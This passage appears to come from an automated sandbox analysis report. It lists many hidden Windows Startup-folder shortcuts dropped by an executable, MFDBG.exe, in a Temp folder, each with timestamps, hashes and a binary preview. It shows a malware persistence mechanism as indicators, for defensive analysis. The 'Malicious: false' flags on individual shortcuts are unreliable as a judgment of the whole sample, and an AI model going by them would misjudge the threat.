Preview:	L..................F...."...]W%.{...J...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....n.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b566c2cf104544b482d0ce698b688b5b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:43 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.930485186444942
Encrypted:	false
SSDEEP:	24:8xhBf98iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8BS0R6rMhpBoUBxdRd1nYyg
MD5:	0E63F1F70F246D0A77645CA8F6960754
SHA1:	4BE6DD47EE1595B300D596495F112368E3A23178
SHA-256:	4F55C93C6C116177EDBBD2E397C4A62458C2BB246BD3DE05891784E8C751E98B
SHA-512:	B9BBD65D219F068A3F807A7A498BA3AF9A50457E723FEDC0E81D47FE0694C02C1A3E13D88C7676F7AFFD0BFBBF1834E6741F280131ABF45EAD231BA1A98C5374
Malicious:	false
Preview:	L..................F...."...]W%.{....0w.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....0w.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b675142499f544fc9596aea88454a06c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:17 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.94846436878553
Encrypted:	false
SSDEEP:	24:8fmhBfV8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8fs60R6rMhpBoUBxdRd1nYyg
MD5:	68E9379A410B6751006D9282A12764C9
SHA1:	CECA89A92B4340A683377F181219416A6F423C3B
SHA-256:	2D4855540707416ECE97295E7F791A80790024B7E29ADBECBF1FA6F8D1167468
SHA-512:	6917D9499A28260A01E3F4A4CA87F19896565EE767A30CD2F341F33DD5409E671AEF3759F0A726F66A6EC8E9B26D4061375D8F8F08B26BC347F81B41C464B9B1
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{... ..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b70492d6fe284eaf8449c2dd17bcfd11.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:51 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940085712394052
Encrypted:	false
SSDEEP:	24:8OhBf/D8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8EXQ0R6rMhpBoUBxdRd1nYyg
MD5:	AEFA0BBA8CA8EBE2DBA5AF172CD3869F
SHA1:	16F49C882B4D93ED536BF7BDC9FEB95DEC5CDFAA
SHA-256:	1E64A2133D0D873ADE515E79800C4BC40F71FA8CEC22C9A232DF5989508FBAB0
SHA-512:	ED9D99C2872BA4468C0446EF44AC4D05E090AD448441CE1AF076474A1365356CFC1AA71B6F1F8FBC75CDF15C879F7B44586211577C85829940D3D03A50A2D12E
Malicious:	false
Preview:	L..................F...."...]W%.{....(..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b708bfeb75c84dcbb2e0c68b7e81f3ca.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:50 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939764542370617
Encrypted:	false
SSDEEP:	24:8MhBfO8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8+r0R6rMhpBoUBxdRd1nYyg
MD5:	CCD30A7286A7781FF3F9641842E63A2B
SHA1:	F6D165DDB447389EDC730F81BB9C9421FDA68FEF
SHA-256:	AF1272D0F183349268FA801B45EE8D541A2DC075CFF0EA4C56F138E136190ECB
SHA-512:	DD67D5399D5E380DAA3C5BF41D8D452002F11A0849D6333284B10321CD797A0F78622E26660868C5BC10A3E55FFFAE3DBA72D4CDCB931385C985FA129371661A
Malicious:	false
Preview:	L..................F...."...]W%.{....}..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....X..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b772cf2aff784413adc938d4128c157f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:46 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935883478658487
Encrypted:	false
SSDEEP:	24:8BhBfG48iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8xa0R6rMhpBoUBxdRd1nYyg
MD5:	0472969F0DB53BCE4A50C9E5C96086F9
SHA1:	76C0E56A9BEA3DC599505BCA1F1DCA3771734479
SHA-256:	B77CD936BC36834570797ECCEF703DC4DEF820B14A7376751608E57BD90C4D8F
SHA-512:	F59B2E9298042C3F7F03F5E93E84D4F2C2D6235AA1EC16DBB062A4C360D9BFEF76D716BB53D5BC3264DFC805D8838E19BE44B5D929BBD9810AA506AE3A4EF49D
Malicious:	false
Preview:	L..................F...."...]W%.{....S..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...2.\|.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b7786e667e024e43a0d0175985386028.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938411585054941
Encrypted:	false
SSDEEP:	24:8WhBfX8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:88E0R6rMhpBoUBxdRd1nYyg
MD5:	9461BADD9B118EC1A6F8E5C2E7288B48
SHA1:	EBA96C3DC5E9F2B659D0DC80710BF94C4712EFEB
SHA-256:	64716552151614197B2A718EEBAF519D86F4C0CB601D0070E643F464E1A87D4C
SHA-512:	69C015BED4960EA9047004875CC52E43B86733077A6B47851F4C1B3143AB1834EE197475D23F0D17D5F000C062434B903C9DBB178CD1D9A08C55B6050AE9093E
Malicious:	false
Preview:	L..................F...."...]W%.{...ib..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b821951bfe25422098f0e1647de353bf.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:53 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937189715497309
Encrypted:	false
SSDEEP:	24:8khBfSr8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8GKI0R6rMhpBoUBxdRd1nYyg
MD5:	B6B786C1AF1DFA97CD8733D495E9A988
SHA1:	BCC9F08792EFD3ADCD2820A19876996FA479E597
SHA-256:	14A69739473C824A561A8AA74E5F2E9FEE824E8CA00BA86F5E4C250175321652
SHA-512:	38A8B1C390E1A07E7954C8DA15B399C38831ADA05DDF7B7E5E96F42305ACB04E6F524887A33D60CF58B451D5877D50F6F428494224F51FFFFF8D65286018C11F
Malicious:	false
Preview:	L..................F...."...]W%.{....n0.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....G).{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b828bd63f8ab42f4a4d10739314e21dc.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:28 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939350499304946
Encrypted:	false
SSDEEP:	24:8XhBfvl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8L3C0R6rMhpBoUBxdRd1nYyg
MD5:	239A17BAC2BA6D83791B9B4951FD4641
SHA1:	5CEE65267EF6DBB4F1A5735E473985F3168CE517
SHA-256:	BB6AABE6AC1E0B41AFB4B8F0504D1B67E86A0D97C80359627E6BC1B41CA1EA62
SHA-512:	FA31ADB7D5DF810063B8A867C7AAB94A2FD95B3B5B6675C8A61D6A97754DF7556E671A9AE69A2EB63A5F953DE2254C877484DA1CD2F14AE0C154122386EBFCE9
Malicious:	false
Preview:	L..................F...."...]W%.{...IS..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b8982795395448b2af5a7d2228283738.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:01 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939164671374125
Encrypted:	false
SSDEEP:	24:8ThBfeIl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8nnC0R6rMhpBoUBxdRd1nYyg
MD5:	415A0291B251DF751A9732B740993EC2
SHA1:	6294DEAEF9DA224DC958A4E989AF5DC7BBA6BFD7
SHA-256:	8DAB386E8C7E089BA68F2D028C6C4F2B2F7AD6BEAF5F57A6DE7145B2764B36E5
SHA-512:	6B1EB51CF29990190539ECDAC5273636D84D733BF193D2EB775403F0CFA8FA96F5DC42958F692FEEEAA7E7DF05F3477D1F6C9815338079C06FF34E118DCFB48D
Malicious:	false
Preview:	L..................F...."...]W%.{...x...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...o...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b8d81aeec5c6454d916a5df05e9a3f89.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:10 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9412910564947135
Encrypted:	false
SSDEEP:	24:8ve9hBfg8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8ve9d0R6rMhpBoUBxdRd1nYyg
MD5:	096AD2E65986D005D73E51B9B33E2A64
SHA1:	598BA62186DB6DB781EC9B6B74C05507483D03AB
SHA-256:	2F253FC622BB2D03D50F8A9E220197E78CAAEF11093A25BAA73EBCBA5B19BE15
SHA-512:	1DE4F0682335B6EE0F7E5B4D9793E10B4BBCD3C76A5A7342F7A00F6DC6229A8BF4755B72A13C52EA771B3EC0E0BDA9AE8FC104E490FF3CC7F3489A4DA8C5CB7A
Malicious:	false
Preview:	L..................F...."...]W%.{.....(.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b90891abee684028ab1b15d92eb5238b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:42 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940750811514901
Encrypted:	false
SSDEEP:	24:8NhBfo8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8tV0R6rMhpBoUBxdRd1nYyg
MD5:	0E31A328F5F5E20BD9812B395591FB39
SHA1:	78AF2F25A9B44BA4A3130A58B7527799B4E7999E
SHA-256:	091A30D1979313653B451F6C79663E568AE4BDC2327F7D703C9B80CD8C5DB393
SHA-512:	833F8082E01AF2BB23525B2BB9B085EBE8A671D09738118FE99F0EEACA2DF98FCDF472BB5C36BC33F1AD7DF6BCFBC4ED81385A044854752465ABFFA81FA67C9F
Malicious:	false
Preview:	L..................F...."...]W%.{.......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...Us..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b94fe754db30423491b6289885370700.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:50 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938913615318948
Encrypted:	false
SSDEEP:	24:8+phBfO8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:86r0R6rMhpBoUBxdRd1nYyg
MD5:	DCC3BFCA087C3BF81070C6B1287766B6
SHA1:	BEC7176CE880905C9CD667D824CF023EFBD1D42C
SHA-256:	E9BF89F1AA7DEDEE8C7A62BF9B5448A2291587FA1D27B4AD8E705C5E303D6108
SHA-512:	727C2AABF4CA6B6146468082833453B0EA3CE7517AF82215D02DCBB8C338CAED82EC6C56F620FC8B022C85F34617D957EF06B9929C8CF19BE4957465EB1B6EB8
Malicious:	false
Preview:	L..................F...."...]W%.{...@.'.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....X..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b9e9b71df7e74fb78dc3194b8f7967b0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:10 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939420613273202
Encrypted:	false
SSDEEP:	24:8ihBfR8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Ie0R6rMhpBoUBxdRd1nYyg
MD5:	99E38469B46B4C1E5E5336F4F3513D4F
SHA1:	EC68C3D308DB28A2CD0F68AE124B456D9DD8678A
SHA-256:	EFB4993FBED846DC3FEA36BFB614BA233448993ECD4381C11F52392BF053B925
SHA-512:	0ACC6C6851025E957A2A773AD5FBD19FD40285FC22046642FE8800A83AE2590AA6D12D0C5EEC43FD108F60B8B2177C763E6B2B2181CA86924A379B40D726BFE4
Malicious:	false
